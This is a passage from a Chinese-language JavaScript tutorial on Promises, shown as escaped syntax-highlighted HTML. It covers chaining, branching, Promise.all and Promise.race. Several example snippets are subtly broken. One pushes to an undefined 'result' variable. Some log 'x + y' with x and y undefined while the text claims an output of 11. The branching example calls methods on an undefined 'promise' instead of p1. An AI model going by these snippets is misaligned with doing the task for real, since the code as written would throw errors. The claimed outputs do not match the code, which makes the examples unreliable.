&#x79D2;&#x540E;&#x6267;&#x884C;&#x6210;&#x529F;&#x5E76;&#x8FD4;&#x56DE; &apos;[p1]&apos;</span>\n<span class=\"token keyword\">let</span> p1 <span class=\"token operator\">=</span> <span class=\"token keyword\">new</span> <span class=\"token class-name\">Promise</span><span class=\"token punctuation\">(</span><span class=\"token parameter\">resolve</span> <span class=\"token operator\">=&gt;</span> <span class=\"token punctuation\">{</span>\n  <span class=\"token function\">setTimeout</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">=&gt;</span> <span class=\"token punctuation\">{</span>\n    <span class=\"token function\">resolve</span><span class=\"token punctuation\">(</span><span class=\"token string\">&apos;[p1]&apos;</span><span class=\"token punctuation\">)</span>\n  <span class=\"token punctuation\">}</span><span class=\"token punctuation\">,</span> <span class=\"token number\">2000</span><span class=\"token punctuation\">)</span>\n<span class=\"token punctuation\">}</span><span class=\"token punctuation\">)</span>\n\n<span class=\"token keyword\">let</span> p2 <span class=\"token operator\">=</span> p1<span class=\"token punctuation\">.</span><span class=\"token function\">then</span><span class=\"token punctuation\">(</span><span class=\"token parameter\">result</span> <span class=\"token operator\">=&gt;</span> <span class=\"token punctuation\">{</span>\n  <span class=\"token keyword\">return</span> <span class=\"token keyword\">new</span> <span class=\"token class-name\">Promise</span><span class=\"token punctuation\">(</span><span class=\"token parameter\">resolve</span> <span class=\"token operator\">=&gt;</span> <span class=\"token punctuation\">{</span>\n    <span class=\"token function\">setTimeout</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">=&gt;</span> <span class=\"token punctuation\">{</span>\n      <span class=\"token function\">resolve</span><span class=\"token punctuation\">(</span><span class=\"token string\">&apos;[p3]&apos;</span><span class=\"token punctuation\">)</span>\n    <span class=\"token punctuation\">}</span><span class=\"token punctuation\">,</span> <span class=\"token number\">1000</span><span class=\"token punctuation\">)</span>\n  <span class=\"token punctuation\">}</span><span class=\"token punctuation\">)</span>\n<span class=\"token punctuation\">}</span><span class=\"token punctuation\">)</span>\n\n<span class=\"token comment\">// 3 &#x79D2;&#x540E;&#x6253;&#x5370; &apos;[p3]&apos;</span>\np2<span class=\"token punctuation\">.</span><span class=\"token function\">then</span><span class=\"token punctuation\">(</span><span class=\"token parameter\">result</span> <span class=\"token operator\">=&gt;</span> <span class=\"token punctuation\">{</span>\n  console<span class=\"token punctuation\">.</span><span class=\"token function\">log</span><span class=\"token punctuation\">(</span>result<span class=\"token punctuation\">)</span>\n<span class=\"token punctuation\">}</span><span class=\"token punctuation\">)</span>\n</code></pre>\n<p>&#x901A;&#x8FC7;&#x8FD9;&#x4E2A;&#x673A;&#x5236;&#x5C31;&#x5B9E;&#x73B0;&#x4E86;&#x591A;&#x4E2A;&#x5F02;&#x6B65;&#x8FC7;&#x7A0B;&#x7684;&#x4E32;&#x884C;&#x6267;&#x884C;&#xFF0C;&#x53EA;&#x9700;&#x8981;&#x5C06;&#x6240;&#x6709;&#x7684;&#x5F02;&#x6B65;&#x8FC7;&#x7A0B;&#x7EDF;&#x4E00;&#x4F7F;&#x7528; Promise &#x8FDB;&#x884C;&#x5305;&#x88F9;&#xFF0C;&#x5E76;&#x4E14;&#x5C06;&#x4E0B;&#x4E00;&#x4E2A;&#x5F02;&#x6B65;&#x8FC7;&#x7A0B;&#x7684; Promise &#x5BF9;&#x8C61;&#x4F5C;&#x4E3A;&#x4E0A;&#x4E00;&#x4E2A;&#x5F02;&#x6B65;&#x8FC7;&#x7A0B; Promise &#x5BF9;&#x8C61;&#x7684; <code>onFulfilled</code> &#x56DE;&#x8C03;&#x51FD;&#x6570;&#x7684;&#x8FD4;&#x56DE;&#x503C;&#x5373;&#x53EF;&#x3002;</p>\n<h3 id=\"promise-&#x7684;&#x94FE;&#x5F0F;&#x8C03;&#x7528;\"><a name=\"promise-&#x7684;&#x94FE;&#x5F0F;&#x8C03;&#x7528;\" class=\"anchor-navigation-ex-anchor\" href=\"#promise-&#x7684;&#x94FE;&#x5F0F;&#x8C03;&#x7528;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"promise-&#x7684;&#x94FE;&#x5F0F;&#x8C03;&#x7528;\" class=\"plugin-anchor\" href=\"#promise-&#x7684;&#x94FE;&#x5F0F;&#x8C03;&#x7528;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>Promise &#x7684;&#x94FE;&#x5F0F;&#x8C03;&#x7528;</h3>\n<p>&#x901A;&#x8FC7;&#x524D;&#x9762;&#x7684;&#x4E3E;&#x4F8B;&#x53EF;&#x4EE5;&#x770B;&#x5230; <code>.then()</code> &#x65B9;&#x6CD5;&#x662F; Promise &#x5BF9;&#x8C61;&#x7684;&#x539F;&#x578B;&#x94FE;&#x65B9;&#x6CD5;&#xFF0C;&#x5E76;&#x4E14;&#x5176;&#x8FD4;&#x56DE;&#x503C;&#x540C;&#x6837;&#x4E5F;&#x662F;&#x4E2A; Promise &#x5BF9;&#x8C61;&#xFF0C;&#x56E0;&#x6B64;&#x53EA;&#x8981;&#x628A;&#x524D;&#x9762;&#x4F8B;&#x5B50;&#x4E2D;&#x4E00;&#x4E9B;&#x65E0;&#x5173;&#x7D27;&#x8981;&#x7684;&#x4E2D;&#x95F4;&#x53D8;&#x91CF;&#x53BB;&#x9664;&#x6389;&#xFF0C;&#x5C31;&#x5B9E;&#x73B0; Promise &#x7684;&#x94FE;&#x5F0F;&#x8C03;&#x7528;&#x4E86;&#x3002;</p>\n<pre class=\"language-\"><code class=\"lang-js\"><span class=\"token keyword\">new</span> <span class=\"token class-name\">Promise</span><span class=\"token punctuation\">(</span><span class=\"token parameter\">resolve</span> <span class=\"token operator\">=&gt;</span> <span class=\"token punctuation\">{</span>\n  <span class=\"token function\">setTimeout</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">=&gt;</span> <span class=\"token punctuation\">{</span>\n    <span class=\"token function\">resolve</span><span class=\"token punctuation\">(</span><span class=\"token string\">&apos;&#x6267;&#x884C;&#x6210;&#x529F;&#xFF01;&apos;</span><span class=\"token punctuation\">)</span>\n  <span class=\"token punctuation\">}</span><span class=\"token punctuation\">,</span> <span class=\"token number\">1000</span><span class=\"token punctuation\">)</span>\n<span class=\"token punctuation\">}</span><span class=\"token punctuation\">)</span>\n<span class=\"token punctuation\">.</span><span class=\"token function\">then</span><span class=\"token punctuation\">(</span><span class=\"token parameter\">result</span> <span class=\"token operator\">=&gt;</span> <span class=\"token punctuation\">{</span>\n  console<span class=\"token punctuation\">.</span><span class=\"token function\">log</span><span class=\"token punctuation\">(</span><span class=\"token string\">&apos;&#x6B65;&#x9AA4; [1]&apos;</span><span class=\"token punctuation\">)</span>\n  <span class=\"token keyword\">return</span> <span class=\"token keyword\">new</span> <span class=\"token class-name\">Promise</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span><span class=\"token parameter\">resolve<span class=\"token punctuation\">,</span> reject</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">=&gt;</span> <span class=\"token punctuation\">{</span>\n    <span class=\"token function\">setTimeout</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">=&gt;</span> <span class=\"token punctuation\">{</span>\n      <span class=\"token function\">reject</span><span class=\"token punctuation\">(</span><span class=\"token function\">Error</span><span class=\"token punctuation\">(</span><span class=\"token string\">&apos;&#x6267;&#x884C;&#x5F02;&#x5E38;&apos;</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span>\n    <span class=\"token punctuation\">}</span><span class=\"token punctuation\">,</span> <span class=\"token number\">1000</span><span class=\"token punctuation\">)</span>\n  <span class=\"token punctuation\">}</span><span class=\"token punctuation\">)</span>\n<span class=\"token punctuation\">}</span><span class=\"token punctuation\">)</span>\n<span class=\"token punctuation\">.</span><span class=\"token function\">catch</span><span class=\"token punctuation\">(</span><span class=\"token parameter\">error</span> <span class=\"token operator\">=&gt;</span> <span class=\"token punctuation\">{</span>\n  console<span class=\"token punctuation\">.</span><span class=\"token function\">log</span><span class=\"token punctuation\">(</span>error<span class=\"token punctuation\">.</span>message<span class=\"token punctuation\">)</span>\n  <span class=\"token keyword\">return</span> <span class=\"token string\">&apos;&#x6062;&#x590D;&#x6B63;&#x5E38;&apos;</span>\n<span class=\"token punctuation\">}</span><span class=\"token punctuation\">)</span>\n<span class=\"token punctuation\">.</span><span class=\"token function\">then</span><span class=\"token punctuation\">(</span><span class=\"token parameter\">result</span> <span class=\"token operator\">=&gt;</span> <span class=\"token punctuation\">{</span>\n  console<span class=\"token punctuation\">.</span><span class=\"token function\">log</span><span class=\"token punctuation\">(</span>result<span class=\"token punctuation\">)</span>\n<span class=\"token punctuation\">}</span><span class=\"token punctuation\">)</span>\n</code></pre>\n<p>&#x94FE;&#x5F0F;&#x8C03;&#x7528;&#x7684;&#x597D;&#x5904;&#x5C31;&#x662F;&#xFF0C;&#x53EF;&#x4EE5;&#x975E;&#x5E38;&#x76F4;&#x89C2;&#x5730;&#x5C06;&#x591A;&#x4E2A;&#x9700;&#x8981;&#x6309;&#x987A;&#x5E8F;&#x6267;&#x884C;&#x7684;&#x5F02;&#x6B65;&#x8FC7;&#x7A0B;&#x4EE5;&#x4E00;&#x79CD;&#x81EA;&#x4E0A;&#x800C;&#x4E0B;&#x7684;&#x7EBF;&#x6027;&#x7EC4;&#x5408;&#x65B9;&#x5F0F;&#x5B9E;&#x73B0;&#xFF0C;&#x5728;&#x964D;&#x4F4E;&#x7F16;&#x7801;&#x96BE;&#x5EA6;&#x7684;&#x540C;&#x65F6;&#xFF0C;&#x4E5F;&#x589E;&#x52A0;&#x4E86;&#x4EE3;&#x7801;&#x7684;&#x53EF;&#x8BFB;&#x6027;&#x3002;</p>\n<p>&#x540C;&#x65F6;&#x57FA;&#x4E8E;&#x6CE8;&#x518C;&#x5728;&#x540C;&#x4E00; Promise &#x5BF9;&#x8C61;&#x7684;&#x56DE;&#x8C03;&#x51FD;&#x6570;&#x5F7C;&#x6B64;&#x4E0D;&#x76F8;&#x5E72;&#x6270;&#x7684;&#x7279;&#x6027;&#xFF0C;&#x6211;&#x4EEC;&#x53EF;&#x4EE5;&#x5728;&#x4EFB;&#x4F55;&#x9700;&#x8981;&#x7684;&#x5730;&#x65B9;&#x8FDB;&#x884C;&#x94FE;&#x5206;&#x53C9;&#x3002;&#x5728;&#x4E0B;&#x9762;&#x7684;&#x4F8B;&#x5B50;&#x5F53;&#x4E2D;&#xFF0C;&#x5047;&#x8BBE;&#x5BF9;&#x4E8E;&#x521D;&#x59CB; Promise &#x5BF9;&#x8C61;&#x7684;&#x4E0D;&#x540C;&#x72B6;&#x6001;&#x5C06;&#x91C7;&#x53D6;&#x4E24;&#x79CD;&#x5B8C;&#x5168;&#x4E0D;&#x4E00;&#x6837;&#x7684;&#x5F02;&#x6B65;&#x64CD;&#x4F5C;&#x7684;&#x65F6;&#x5019;&#xFF0C;&#x5C31;&#x53EF;&#x4EE5;&#x8FD9;&#x4E48;&#x5B9E;&#x73B0;&#xFF1A;</p>\n<pre class=\"language-\"><code class=\"lang-js\"><span class=\"token keyword\">let</span> p1 <span class=\"token operator\">=</span> <span class=\"token keyword\">new</span> <span class=\"token class-name\">Promise</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span><span class=\"token parameter\">resolve<span class=\"token punctuation\">,</span> reject</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">=&gt;</span> <span class=\"token punctuation\">{</span>\n  <span class=\"token keyword\">if</span> <span class=\"token punctuation\">(</span>Math<span class=\"token punctuation\">.</span><span class=\"token function\">random</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">&gt;</span> <span class=\"token number\">0.5</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n    <span class=\"token function\">resolve</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span>\n  <span class=\"token punctuation\">}</span> <span class=\"token keyword\">else</span> <span class=\"token punctuation\">{</span>\n    <span class=\"token function\">reject</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span>\n  <span class=\"token punctuation\">}</span>\n<span class=\"token punctuation\">}</span><span class=\"token punctuation\">)</span>\n\npromise<span class=\"token punctuation\">.</span><span class=\"token function\">then</span><span class=\"token punctuation\">(</span>run1<span class=\"token punctuation\">)</span>\n  <span class=\"token punctuation\">.</span><span class=\"token function\">then</span><span class=\"token punctuation\">(</span>run2<span class=\"token punctuation\">)</span>\n  <span class=\"token punctuation\">.</span><span class=\"token function\">then</span><span class=\"token punctuation\">(</span>run3<span class=\"token punctuation\">)</span>\n  <span class=\"token comment\">// ...</span>\n\npromise<span class=\"token punctuation\">.</span><span class=\"token function\">catch</span><span class=\"token punctuation\">(</span>run4<span class=\"token punctuation\">)</span>\n  <span class=\"token punctuation\">.</span><span class=\"token function\">then</span><span class=\"token punctuation\">(</span>run5<span class=\"token punctuation\">)</span>\n  <span class=\"token punctuation\">.</span><span class=\"token function\">then</span><span class=\"token punctuation\">(</span>run6<span class=\"token punctuation\">)</span>\n  <span class=\"token comment\">// ...</span>\n\npromise<span class=\"token punctuation\">.</span><span class=\"token function\">then</span><span class=\"token punctuation\">(</span>run7<span class=\"token punctuation\">)</span>\n  <span class=\"token punctuation\">.</span><span class=\"token function\">then</span><span class=\"token punctuation\">(</span>run8<span class=\"token punctuation\">)</span>\n  <span class=\"token comment\">// ...</span>\n</code></pre>\n<h2 id=\"promise-&#x5E76;&#x884C;&#x6267;&#x884C;&#x4E0E;&#x7BA1;&#x7406;\"><a name=\"promise-&#x5E76;&#x884C;&#x6267;&#x884C;&#x4E0E;&#x7BA1;&#x7406;\" class=\"anchor-navigation-ex-anchor\" href=\"#promise-&#x5E76;&#x884C;&#x6267;&#x884C;&#x4E0E;&#x7BA1;&#x7406;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"promise-&#x5E76;&#x884C;&#x6267;&#x884C;&#x4E0E;&#x7BA1;&#x7406;\" class=\"plugin-anchor\" href=\"#promise-&#x5E76;&#x884C;&#x6267;&#x884C;&#x4E0E;&#x7BA1;&#x7406;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>Promise &#x5E76;&#x884C;&#x6267;&#x884C;&#x4E0E;&#x7BA1;&#x7406;</h2>\n<p>&#x5728; JavaScript &#x5F53;&#x4E2D;&#xFF0C;&#x5F02;&#x6B65;&#x4EFB;&#x52A1;&#x672C;&#x8EAB;&#x5C31;&#x662F;&#x5E76;&#x884C;&#x6267;&#x884C;&#x7684;&#x3002;&#x524D;&#x9762;&#x6240;&#x63D0;&#x5230;&#x7684;&#x57FA;&#x4E8E; Promise &#x7684;&#x5F02;&#x6B65;&#x4EFB;&#x52A1;&#x4E32;&#x884C;&#x6267;&#x884C;&#xFF0C;&#x672C;&#x8D28;&#x4E0A;&#x662F;&#x901A;&#x8FC7; <code>.then()</code> &#x65B9;&#x6CD5;&#x53BB;&#x63A7;&#x5236;&#x4E0A;&#x4E00;&#x4E2A;&#x5F02;&#x6B65;&#x4EFB;&#x52A1;&#x5B8C;&#x6210;&#x4E4B;&#x540E;&#x518D;&#x89E6;&#x53D1;&#x4E0B;&#x4E00;&#x4E2A;&#x5F02;&#x6B65;&#x4EFB;&#x52A1;&#x7684;&#x6267;&#x884C;&#xFF0C;&#x6240;&#x4EE5;&#x5982;&#x679C;&#x8981;&#x6539;&#x9020;&#x6210;&#x5E76;&#x884C;&#x6267;&#x884C;&#xFF0C;&#x53EA;&#x9700;&#x8981;&#x540C;&#x6B65;&#x5730;&#x521B;&#x5EFA;&#x8FD9;&#x4E9B;&#x5F02;&#x6B65;&#x4EFB;&#x52A1;&#xFF0C;&#x5E76;&#x5BF9;&#x5B83;&#x4EEC;&#x7684; Promise &#x5BF9;&#x8C61;&#x8FDB;&#x884C;&#x76F8;&#x5E94;&#x7684;&#x7BA1;&#x7406;&#x5373;&#x53EF;&#x3002;</p>\n<p>&#x4E0B;&#x9762;&#x7684;&#x4F8B;&#x5B50;&#x5C55;&#x793A;&#x4E86;&#x5E76;&#x884C;&#x83B7;&#x53D6;&#x5F02;&#x6B65;&#x6570;&#x636E; x &#x548C; y&#xFF0C;&#x5E76;&#x4E14;&#x5728; x &#x548C; y &#x5168;&#x90E8;&#x83B7;&#x53D6;&#x4E4B;&#x540E;&#x8F93;&#x5165;&#x5B83;&#x4EEC;&#x7684;&#x76F8;&#x52A0;&#x7ED3;&#x679C;&#xFF0C;&#x5176;&#x4E2D; <code>getX()</code> &#x548C; <code>getY()</code> &#x5206;&#x522B;&#x662F; x &#x548C; y &#x7684;&#x5F02;&#x6B65;&#x83B7;&#x53D6;&#x65B9;&#x6CD5;&#xFF0C;<code>getXAndY()</code> &#x7528;&#x4E8E;&#x540C;&#x6B65;&#x8FD4;&#x56DE; x &#x548C; y &#x7684;&#x7ED3;&#x679C;&#xFF1A;</p>\n<pre class=\"language-\"><code class=\"lang-js\"><span class=\"token keyword\">function</span> <span class=\"token function\">getX</span> <span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n  <span class=\"token keyword\">return</span> <span class=\"token keyword\">new</span> <span class=\"token class-name\">Promise</span><span class=\"token punctuation\">(</span><span class=\"token parameter\">resolve</span> <span class=\"token operator\">=&gt;</span> <span class=\"token punctuation\">{</span>\n    <span class=\"token function\">setTimeout</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">=&gt;</span> <span class=\"token punctuation\">{</span>\n      <span class=\"token function\">resolve</span><span class=\"token punctuation\">(</span><span class=\"token number\">1</span><span class=\"token punctuation\">)</span>\n    <span class=\"token punctuation\">}</span><span class=\"token punctuation\">,</span> <span class=\"token number\">1000</span><span class=\"token punctuation\">)</span>\n  <span class=\"token punctuation\">}</span><span class=\"token punctuation\">)</span>\n<span class=\"token punctuation\">}</span>\n\n<span class=\"token keyword\">function</span> <span class=\"token function\">getY</span> <span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n  <span class=\"token keyword\">return</span> <span class=\"token keyword\">new</span> <span class=\"token class-name\">Promise</span><span class=\"token punctuation\">(</span><span class=\"token parameter\">resolve</span> <span class=\"token operator\">=&gt;</span> <span class=\"token punctuation\">{</span>\n    <span class=\"token function\">setTimeout</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">=&gt;</span> <span class=\"token punctuation\">{</span>\n      <span class=\"token function\">resolve</span><span class=\"token punctuation\">(</span><span class=\"token number\">10</span><span class=\"token punctuation\">)</span>\n    <span class=\"token punctuation\">}</span><span class=\"token punctuation\">,</span> <span class=\"token number\">2000</span><span class=\"token punctuation\">)</span>\n  <span class=\"token punctuation\">}</span><span class=\"token punctuation\">)</span>\n<span class=\"token punctuation\">}</span>\n\n<span class=\"token keyword\">function</span> <span class=\"token function\">getXAndY</span><span class=\"token punctuation\">(</span><span class=\"token parameter\"><span class=\"token punctuation\">[</span>promiseX<span class=\"token punctuation\">,</span> promiseY<span class=\"token punctuation\">]</span></span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n  <span class=\"token keyword\">let</span> results <span class=\"token operator\">=</span> <span class=\"token punctuation\">[</span><span class=\"token punctuation\">]</span>\n  <span class=\"token keyword\">return</span> promiseX\n    <span class=\"token punctuation\">.</span><span class=\"token function\">then</span><span class=\"token punctuation\">(</span><span class=\"token parameter\">x</span> <span class=\"token operator\">=&gt;</span> <span class=\"token punctuation\">{</span>\n      results<span class=\"token punctuation\">.</span><span class=\"token function\">push</span><span class=\"token punctuation\">(</span>x<span class=\"token punctuation\">)</span>\n        <span class=\"token keyword\">return</span> promiseY\n      <span class=\"token punctuation\">}</span><span class=\"token punctuation\">)</span>\n    <span class=\"token punctuation\">.</span><span class=\"token function\">then</span><span class=\"token punctuation\">(</span><span class=\"token parameter\">y</span> <span class=\"token operator\">=&gt;</span> <span class=\"token punctuation\">{</span>\n      result<span class=\"token punctuation\">.</span><span class=\"token function\">push</span><span class=\"token punctuation\">(</span>y<span class=\"token punctuation\">)</span>\n        <span class=\"token keyword\">return</span> results\n    <span class=\"token punctuation\">}</span><span class=\"token punctuation\">)</span>\n<span class=\"token punctuation\">}</span>\n\n<span class=\"token function\">getXAndY</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">[</span>\n  <span class=\"token function\">getX</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span>\n  <span class=\"token function\">getY</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span>\n<span class=\"token punctuation\">]</span><span class=\"token punctuation\">)</span>\n<span class=\"token punctuation\">.</span><span class=\"token function\">then</span><span class=\"token punctuation\">(</span><span class=\"token parameter\">results</span> <span class=\"token operator\">=&gt;</span> <span class=\"token punctuation\">{</span>\n  console<span class=\"token punctuation\">.</span><span class=\"token function\">log</span><span class=\"token punctuation\">(</span>x <span class=\"token operator\">+</span> y<span class=\"token punctuation\">)</span>\n<span class=\"token punctuation\">}</span><span class=\"token punctuation\">)</span>\n</code></pre>\n<p>&#x6267;&#x884C;&#x7ED3;&#x679C;&#x5982;&#x4E0B;&#xFF1A;</p>\n<pre class=\"language-\"><code class=\"lang-bash\"><span class=\"token comment\"># (...2s)</span>\n11\n</code></pre>\n<p>&#x53EF;&#x4EE5;&#x770B;&#x5230; 2s &#x540E;&#x63A7;&#x5236;&#x53F0;&#x8F93;&#x51FA;&#x4E86;&#x7ED3;&#x679C; 11&#xFF0C;&#x8BF4;&#x660E; <code>getX()</code> &#x548C; <code>getY()</code> &#x662F;&#x5E76;&#x884C;&#x6267;&#x884C;&#x7684;&#xFF0C;&#x5E76;&#x4E14;&#x5728;&#x4E24;&#x4E2A; Promise &#x72B6;&#x6001;&#x5168;&#x90E8;&#x6210;&#x529F;&#x4E4B;&#x540E;&#xFF0C;&#x518D;&#x6700;&#x7EC8;&#x8FD4;&#x56DE;&#x4E24;&#x8005;&#x7684;&#x76F8;&#x52A0;&#x7ED3;&#x679C;&#x3002;</p>\n<p>&#x8FD9;&#x91CC;&#x7684; <code>getXAndY()</code> &#x5C31;&#x5C5E;&#x4E8E;&#x4E00;&#x79CD;&#x5E76;&#x884C;&#x72B6;&#x6001;&#x7BA1;&#x7406;&#x7684;&#x65B9;&#x6848;&#x3002;&#x4E8B;&#x5B9E;&#x4E0A; Promise &#x5DF2;&#x7ECF;&#x63D0;&#x4F9B;&#x4E86; <code>Promise.all()</code> &#x65B9;&#x6CD5;&#x6765;&#x5B9E;&#x73B0;&#x540C;&#x6837;&#x7684;&#x529F;&#x80FD;&#x3002;&#x56E0;&#x6B64;&#x4E0A;&#x8FF0;&#x4EE3;&#x7801;&#x53EF;&#x4FEE;&#x6539;&#x4E3A;&#x4F7F;&#x7528; <code>Promise.all()</code> &#x7684;&#x5F62;&#x5F0F;&#xFF1A;</p>\n<pre class=\"language-\"><code class=\"lang-js\">Promise<span class=\"token punctuation\">.</span><span class=\"token function\">all</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">[</span>\n  <span class=\"token function\">getX</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span>\n  <span class=\"token function\">getY</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span>\n<span class=\"token punctuation\">]</span><span class=\"token punctuation\">)</span>\n<span class=\"token punctuation\">.</span><span class=\"token function\">then</span><span class=\"token punctuation\">(</span><span class=\"token parameter\">results</span> <span class=\"token operator\">=&gt;</span> <span class=\"token punctuation\">{</span>\n  console<span class=\"token punctuation\">.</span><span class=\"token function\">log</span><span class=\"token punctuation\">(</span>x <span class=\"token operator\">+</span> y<span class=\"token punctuation\">)</span>\n<span class=\"token punctuation\">}</span><span class=\"token punctuation\">)</span>\n</code></pre>\n<p>&#x9664;&#x4E86; <code>Promise.all()</code>&#xFF0C;Promise &#x8FD8;&#x63D0;&#x4F9B;&#x4E86; <code>Promise.race()</code> &#x65B9;&#x6CD5;&#xFF0C;&#x7528;&#x4E8E;&#x83B7;&#x53D6;&#x7B2C;&#x4E00;&#x4E2A;&#x53D1;&#x751F;&#x72B6;&#x6001;&#x53D8;&#x66F4;&#x7684; Promise &#x5BF9;&#x8C61;&#xFF1A;</p>\n<pre class=\"language-\"><code class=\"lang-js\">Promise<span class=\"token punctuation\">.</span><span class=\"token function\">race</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">[</span>\n  <span class=\"token function\">getX</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span>\n  <span class=\"token function\">getY</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span>\n<span class=\"token punctuation\">]</span><span class=\"token punctuation\">)</span>\n<span class=\"token punctuation\">.</span><span class=\"token function\">then</span><span class=\"token punctuation\">(</span><span class=\"token parameter\">value</span> <span class=\"token operator\">=&gt;</span> <span class=\"token punctuation\">{</span>\n  <span class=\"token comment\">// &#x6253;&#x5370;&#x201C;1&#x201D;&#xFF0C;&#x56E0;&#x4E3A; x &#x7684;&#x7ED3;&#x679C;&#x6700;&#x5148;&#x8FD4;&#x56DE;</span>\n  console<span class=\"token punctuation\">.</span><span class=\"token function\">log</span><span class=\"token punctuation\">(</span>value<span class=\"token punctuation\">)</span>\n<span class=\"token punctuation\">}</span><span class=\"token punctuation\">)</span>\n\nPromise<span class=\"token punctuation\">.</span><span class=\"token function\">race</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">[</span>\n  <span class=\"token function\">getX</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span>\n  <span class=\"token keyword\">new</span> <span class=\"token class-name\">Promise</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span><span class=\"token parameter\">resolve<span class=\"token punctuation\">,</span> reject</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">=&gt;</span> <span class=\"token punctuation\">{</span>\n    <span class=\"token function\">reject</span><span class=\"token punctuation\">(</span><span class=\"token string\">&apos;error&apos;</span><span class=\"token punctuation\">)</span>\n  <span class=\"token punctuation\">}</span><span class=\"token punctuation\">)</span>\n<span class=\"token punctuation\">]</span><span class=\"token punctuation\">)</span>\n<span class=\"token comment\">// &#x4E0D;&#x4F1A;&#x8FDB;&#x5165; onFulfilled</span>\n<span class=\"token punctuation\">.</span><span class=\"token function\">then</span><span class=\"token punctuation\">(</span><span class=\"token parameter\">value</span> <span class=\"token operator\">=&gt;</span> <span class=\"token punctuation\">{</span>\n  console<span class=\"token punctuation\">.</span><span class=\"token function\">log</span><span class=\"token punctuation\">(</span>value<span class=\"token punctuation\">)</span>\n<span class=\"token punctuation\">}</span><span class=\"token punctuation\">)</span>\n<span class=\"token comment\">// &#x6253;&#x5370;&#x201C;error&#x201D;</span>\n<span class=\"token comment\">// &#x56E0;&#x4E3A;&#x8FD9;&#x4E2A; Promise &#x6700;&#x5148;&#x8FD4;&#x56DE;</span>\n<span class=\"token punctuation\">.</span><span class=\"token function\">catch</span><span class=\"token punctuation\">(</span><span class=\"token parameter\">error</span> <span class=\"token operator\">=&gt;</span> <span class=\"token punctuation\">{</span>\n  console<span class=\"token punctuation\">.</span><span class=\"token function\">log</span><span class=\"token punctuation\">(</span>error<span class=\"token punctuation\">)</span>\n<span class=\"token punctuation\">}</span><span class=\"token punctuation\">)</span>\n</code></pre>\n<p>&#x5047;&#x5982; <code>Promise.all()</code> &#x548C; <code>Promise.race()</code> &#x90FD;&#x65E0;&#x6CD5;&#x6EE1;&#x8DB3;&#x5E94;&#x7528;&#x573A;&#x666F;&#xFF0C;&#x6211;&#x4EEC;&#x4E5F;&#x53EF;&#x4EE5;&#x57FA;&#x4E8E; Promise &#x7684;&#x539F;&#x7406;&#x4E0E;&#x7279;&#x6027;&#xFF0C;&#x81EA;&#x884C;&#x5F00;&#x53D1;&#x76F8;&#x5E94;&#x7684;&#x5E76;&#x884C;&#x6267;&#x884C;&#x7BA1;&#x7406;&#x65B9;&#x6848;&#xFF0C;&#x5728;&#x8FD9;&#x91CC;&#x5C31;&#x4E0D;&#x505A;&#x8D58;&#x8FF0;&#x4E86;&#x3002;</p>\n<h2 id=\"&#x603B;&#x7ED3;\"><a name=\"&#x603B;&#x7ED3;\" class=\"anchor-navigation-ex-anchor\" href=\"#&#x603B;&#x7ED3;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"&#x603B;&#x7ED3;\" class=\"plugin-anchor\" href=\"#&#x603B;&#x7ED3;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>&#x603B;&#x7ED3;</h2>\n<p>&#x8FD9;&#x7BC7;&#x6587;&#x7AE0;&#x4ECB;&#x7ECD;&#x4E86; Promise &#x57FA;&#x672C;&#x7528;&#x6CD5;&#xFF0C;&#x4ECB;&#x7ECD;&#x4E86; Promise &#x5BF9;&#x8C61;&#x6240;&#x5177;&#x6709;&#x7684;&#x7279;&#x6027;&#x5982;&#x4F55;&#x89E3;&#x51B3;&#x5F02;&#x6B65;&#x72B6;&#x6001;&#x7684;&#x53EF;&#x9760;&#x6027;&#x95EE;&#x9898;&#xFF0C;&#x6700;&#x540E;&#x4ECB;&#x7ECD;&#x4E86;&#x57FA;&#x4E8E; Promise 